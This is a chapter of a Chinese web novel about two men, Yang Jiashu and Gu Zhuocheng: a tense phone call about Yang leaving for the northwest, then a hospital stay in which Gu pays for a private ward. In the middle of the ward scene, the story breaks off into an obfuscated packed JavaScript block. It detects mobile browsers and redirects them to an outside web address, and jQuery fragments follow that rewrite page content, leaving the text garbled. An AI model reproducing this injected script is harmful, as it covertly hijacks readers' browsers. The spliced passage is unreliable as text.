两年零七个月，这是杨嘉树和顾琢成分开的具体时间。


    ——也是他们认识以来，分别时间最久的一次。


    对顾琢成来说，杨嘉树决定去西北的消息非常突然，他只是在某天下班的时候给顾琢成打电话，寒暄了几句，然后突然说：“我要出个长差。”就消失了。


    杨嘉树是个记者，对记者来说，出差是常事，短则两三天，长则一两个月，最长——不会超过三个月。因此顾琢成没有放在心上，和以往每一次一样，他问杨嘉树：“去多久？”


    杨嘉树说：“不清楚，最少两年吧。”


    “什么？”顾琢成在开车，这个回答打了他一个措手不及，就像是晴空里的一道霹雳、把他整个人都劈傻了，“你说多久？”


    “两年。”杨嘉树说，语气很平静，心也平静，“工作调整，我要去做纪录片了。”


    顾琢成没有说话。他觉得自己需要时间接受——这个噩耗。


    过了好久，他才终于找回自己的声音：“去哪里？为什么这么突然呢。”


    “去西北。”杨嘉树笑笑，说，“不突然啊，有时候世事就是这么……难以预料。”


    “你不当记者了吗？”


    “嗯。”


    “……什么时候出发？”


    “下周。”


    “下周？”顾琢成的声音猛地拔高了，他不敢相信，乃至于有点生气，“你——这太突然了！为什么不早点跟我说？”


    “我也是才接到的消息。”


    沉默。


    过了很久，顾琢成叹一口气，依然不能接受这个事实：“已经决定好，不能再改变？”


    “不能。”杨嘉树斩钉截铁。


    “你能适应西北的天气吗？那里很干燥，温差大，紫外线强，你……你能习惯吗？”


    “能。”


    “……是常驻吗？”


    “是。”


    “有休假吗？可以回北京？”


    “可能有……”杨嘉树说，有点犹豫，“吧，这个我还没有了解过。”


    “……不能不去吗？”顾琢成仍不死心。


    “不能。”杨嘉树很轻地笑了一声，“档案都调过去了。”


    “……”


    “……”


    杨嘉树用力握紧手机，在心里告诫自己：杨嘉树，你已经答应过自己，不可以做言而无信的人。


    “你……”


    “我……”


    两个人同时开口，这一次顾琢成没有做谦让的那个人，直接说：“你现在有空吗？我过去找你。”


    杨嘉树拒绝了：“我一会儿还要开会，走不开。”


    “开完会呢？”


    “更走不开啊，栏目停播，并不是什么事都没有了，还有一堆烂摊子要收拾呢。”


    “……”


    电话那头，顾琢成很深、很长地叹了口气，“杨嘉树。”他叫杨嘉树的全名，语气严肃，“这么大的事，你为什么不跟我商量？自己就做了决定。我不清楚你要做什么纪录片，但是去西北……西北的风沙那么大，环境那么恶劣，你一个城市娇生惯养的孩子，能吃得了这个苦吗？”


    “……”杨嘉树冷笑一声，反问，“你凭什么认为我吃不了这个苦？你是谁啊，你以为你很解我吗，这是我自己的选择，我自然会承担选择的后果，不需要你为我操心。”


    “……”顾琢成意识到自己说话的语气太强硬，抱歉道，“对不起，我太着急了，有点口不择言。我的意思是，既然栏目组解散，你是不是可以有个更轻松的选择？西北太艰苦了，又遥远，你一个人，我担心你不能照顾自己。”


    “你少来了。”杨嘉树握紧手机，心里第一反应是生气——他气顾琢成这么关心自己，又气自己竟然因为这关心又心生退意，他想留在北京，留在顾琢成身边——不，不能，连想一想都不可以。


    杨嘉树疯狂地吞咽口水，把喉口涌出的酸苦咽下去，接着不由自主地，他开始说出一些伤害顾琢成的话：“我不需要你的担心，你还是担心担心你自己吧——你真的了解我吗？我想去西北，是因为想所以才决定去，说明我已经做好了应对一些困难的准备，你就这么不相信我吗？”


    顾琢成怔了怔，他认为杨嘉树误会自己了，于是辩解：“我不是这个意思，我只是……”他停住，然后认真地说，“真的很担心你。”


    一瞬间，杨嘉树的心揪了起来，泪水快速在眼眶中聚集。他张大嘴巴，像金鱼一样，用力、但无声地喘了一口气，冷漠地说：“谢谢。我已经决定好了，并且很期待接下来的行程，你的担心是多余的。”


    “……”顾琢成说，语气很困惑，“嘉树，你怎么了？是最近压力太大了吗，还是我哪里惹你生气了，你可以直接跟我说——”


    “你想多了。”杨嘉树说，他忽然觉得无法面对顾琢成，他急切地想要挂断电话，从这场漫长的凌迟中解脱，于是他说，“我还有事，先挂了。”


    脸颊痒痒的，杨嘉树伸手挠了挠，摸到满脸的泪水。


    真好。


    他想，这是最后一次为你哭了哦。


    希望下次见面，我们能以好朋友的身份——


    真正的、一辈子的好朋友。


    ——时空分割线——


    凌晨三点，杨嘉树被一阵呕吐声惊醒，是隔床刚做完骨瘤手术的老大哥，他趴在床头，吐了很久，病房里飘荡着一股浓重的酸腐味，杨嘉树屏着呼吸坐起来，问：“大哥，需要帮忙吗？”


    刚说完，医生就来了，检查没有大碍，只是让大叔三餐按时吃，保持好足够的休息，就走了。


    杨嘉树的护工站在老大哥床头，数落道：“都说了让你早点吃饭，你赶到睡前吃，吃完就睡，你不吐谁吐嘛。”


    老大哥讪讪的，摸了摸自己的鼻子：“不好意思啊，我现在就来打扫。”


    “别别，你还是好好休息吧！”护工大叔忙前忙后地给他收拾了起来。


    白天，杨嘉树悄悄跟护工大叔说：“你人还怪好的，拿一份工钱，干两份活……不累啊？”


    护工大叔说：“顺手的事嘛！主要是你好伺候，不叫俺操心，不然俺光拿钱不干活，心里也不踏实。”


    杨嘉树说：“你一个月多少钱啊？”钱不是他付的，应该是小刘付的，所以他不清楚具体行情。


    “一千五。”


    “这么便宜？”杨嘉树瞠目。


    “不便宜啦！包吃又包住，还有水果吃。嘿嘿。”大叔笑得很憨厚，“小兄弟，我给你剥个橘子吃吧？”


    “嗯。”


    吃完橘子，杨嘉树睡了个回笼觉。醒来的时候发现护工大叔在收拾东西，他觉得很奇怪，问道：“你干什么呢，大叔？”


    大叔说，眉开眼笑的：“你醒啦？来来来，我背你上去，新房间我都收拾好了，里面可宽敞了！有单独的陪护床，这样晚上俺也能睡个好觉了，白天好好伺候你，嘿嘿。”


    “什么新房间？”杨嘉树不解。


    “啊？”大叔挠挠头，比他更不解，“你不知道啊？就是你那个北京来的朋友，他给你升级到单人病房啦，早上让我去交的费，嗐，我以为你知道呢！”


    杨嘉树愣住了。


    大叔把打包好的东西放在床头柜上，眼巴巴地瞧着他：“现在上去不？”


    “……行吧。”钱都交了，又不能退。杨嘉树很无奈，“他怎么跟你说的啊？”


    “他就问俺医院有没有单人病房，俺说有，但是很紧俏，得提前订，”大叔是个老实人，一五一十地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596605|170176||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    学给杨嘉树听，“他让我问问去，我就去问护士，护士说，诶，刚好今天就能空一间出来！他就赶紧让俺交钱去了，那个啥，他还给了俺一点好处费……”大叔摸着后脑勺，挺不好意思地看着他，“俺一开始鬼迷了心窍，给收了……过后才觉得不合适。小兄弟，要不俺就把这钱当成营养费给你存着吧，回头多给你买点营养品，补补身子。”


    “不用。”杨嘉树哭笑不得，“他给你你就收着吧，算你的，不用跟我说。”


    “嘿嘿。”大叔笑着，亮出一口黑黄的牙，“俺就知道，你们都是好人。那，俺背你上去？”


    “嗯。”


    单人病房确实宽敞，比三人间大多了，一些简单的家电都有，还有个小冰箱——就是有点小，塞了几样水果就满了，大叔嘀咕：“咋这么抠捏，都单人病房了还舍不得给弄个大点的冰箱，这么点够塞个啥呀——小兄弟，俺给你削个苹果吃吧？你饿不。”


    “有点，但是我想吃饭。”


    “哦哦，那俺下去给你打去！正好饭点到了，你等我啊！”大叔说着，风风火火地出了病房。


    大叔一走，房间就更显得宽敞，和寂寥。杨嘉树躺在床上，摩挲着手机，心里十分纠结，要不要给他打个电话？说句谢谢也好——他怎么就这么多情呢，也不问问我需不需要，就这么自作主张给我升级了病房。住三人间单位还能给报销——算了，反正他现在不差钱。杨嘉树在心里乱想了一通，电话没拨出去，他想的那个人自己打过来了。


    杨嘉树看到这个名字，心里一跳，没多想就接了起来：“喂？”


    “嘉树。”顾琢成的声音听起来沙沙的，带着轻微的电流，显得有点不太真切，“你好点了吗？换到新病房去了吗。”


    “嗯……”杨嘉树盯着自己腿上厚厚的石膏，想说的有很多，但最终化作三个字，“谢谢啊。”


    “不客气。”


    “……”


    “你吃饭了吗？”


    “还没。”杨嘉树说，又补充，“大叔去给我打了。”


    “这个大叔人挺好的，勤快，认真，还很负责。”


    “嗯。”


    好像跨越了两年多的时光，两人之间因此显得生疏了似的，彼此都不再说话。


    也许是不知道该说什么。


    奇怪，杨嘉树心想，前两天见面时不还好好的么。


    “你一个人会无聊吗？”过了一会儿，顾琢成说。


    “还行吧，我还要工作呢，所以还好。”


    “你都受伤了还要工作。”顾琢成停了停，说，“好敬业啊。”


    杨嘉树有点想笑，这是没话找话，没什么说的就硬夸吗？真是可爱。他清了清嗓子，问：“你呢？工作不忙吗。”


    “我还好。我现在就在办公室给你打电话。”


    “摸鱼啊？”


    “也不算，现在是下班时间。”


    “吃饭了吗？”


    “吃过了。”


    “哦。”


    该挂了吗？杨嘉树心想，好像没什么好说的了。


    “你要是无聊，可以给我发消息，打电话也可以。”顾琢成说，“我随时都有时间。”


    “……”杨嘉树让他搞得有点懵，没记错的话，他们好像都三十多岁了吧，怎么对话内容还跟十几二十岁的青少年似的——而且，其中一个还是未来的上市公司总裁。


    “怎么不说话？”


    “没什么。我在想找你聊天的话，该说些什么。”


    “说什么都可以啊，”顾琢成顿了顿，说，“就跟以前一样。”


    ——以前我们无话不谈，杨嘉树猜他想说这句话。心里忽然变得很柔软，杨嘉树弯了弯嘴角，说：“好啊，我找你的时候，你不要嫌我烦就好了。”